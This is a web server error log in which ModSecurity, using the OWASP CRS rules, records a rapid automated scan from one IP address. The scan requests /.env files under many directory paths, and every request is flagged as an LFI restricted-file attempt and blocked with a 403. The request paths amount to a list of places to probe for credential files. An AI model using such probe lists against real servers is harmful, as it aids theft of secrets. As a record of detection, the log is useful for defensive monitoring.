[Wed Feb 25 06:04:58.673840 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch2-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch2-mytodo/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWnQAAAAI&quot;]
[Wed Feb 25 06:04:58.674116 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch2-mytodo/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWnQAAAAI&quot;]
[Wed Feb 25 06:04:58.674305 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch2-mytodo/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWnQAAAAI&quot;]
[Wed Feb 25 06:04:58.786673 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch6-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6-mytodo/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWngAAAAI&quot;]
[Wed Feb 25 06:04:58.786973 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6-mytodo/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWngAAAAI&quot;]
[Wed Feb 25 06:04:58.787169 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6-mytodo/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWngAAAAI&quot;]
[Wed Feb 25 06:04:58.845206 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch6a-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6a-mytodo/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWnwAAAAI&quot;]
[Wed Feb 25 06:04:58.845506 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6a-mytodo/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWnwAAAAI&quot;]
[Wed Feb 25 06:04:58.845692 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6a-mytodo/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWnwAAAAI&quot;]
[Wed Feb 25 06:04:58.884851 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch7-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7-mytodo/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWoAAAAAI&quot;]
[Wed Feb 25 06:04:58.885110 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7-mytodo/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWoAAAAAI&quot;]
[Wed Feb 25 06:04:58.885283 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7-mytodo/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWoAAAAAI&quot;]
[Wed Feb 25 06:04:58.957764 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /data/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ-QAAAAY&quot;]
[Wed Feb 25 06:04:58.958081 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ-QAAAAY&quot;]
[Wed Feb 25 06:04:58.958260 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ-QAAAAY&quot;]
[Wed Feb 25 06:04:58.959216 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch7a-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7a-mytodo/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWoQAAAAI&quot;]
[Wed Feb 25 06:04:58.959492 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7a-mytodo/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWoQAAAAI&quot;]
[Wed Feb 25 06:04:58.959691 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7a-mytodo/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWoQAAAAI&quot;]
[Wed Feb 25 06:04:58.981341 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch8-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8-mytodo/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWogAAAAI&quot;]
[Wed Feb 25 06:04:58.981620 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8-mytodo/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWogAAAAI&quot;]
[Wed Feb 25 06:04:58.981895 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8-mytodo/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWogAAAAI&quot;]
[Wed Feb 25 06:04:58.985494 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /database/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ-gAAAAY&quot;]
[Wed Feb 25 06:04:58.985738 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ-gAAAAY&quot;]
[Wed Feb 25 06:04:58.985905 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ-gAAAAY&quot;]
[Wed Feb 25 06:04:59.022907 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch8a-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8a-mytodo/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWowAAAAI&quot;]
[Wed Feb 25 06:04:59.023162 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8a-mytodo/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWowAAAAI&quot;]
[Wed Feb 25 06:04:59.023358 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8a-mytodo/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWowAAAAI&quot;]
[Wed Feb 25 06:04:59.030550 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dataset1/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset1/.env&quot;] [unique_id &quot;aZ6C-_jNQqDNAmB2zjqZ-wAAAAY&quot;]
[Wed Feb 25 06:04:59.030810 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset1/.env&quot;] [unique_id &quot;aZ6C-_jNQqDNAmB2zjqZ-wAAAAY&quot;]
[Wed Feb 25 06:04:59.030971 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset1/.env&quot;] [unique_id &quot;aZ6C-_jNQqDNAmB2zjqZ-wAAAAY&quot;]
[Wed Feb 25 06:04:59.082829 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch8b-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8b-mytodo/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWpAAAAAI&quot;]
[Wed Feb 25 06:04:59.083101 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8b-mytodo/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWpAAAAAI&quot;]
[Wed Feb 25 06:04:59.083297 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8b-mytodo/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWpAAAAAI&quot;]
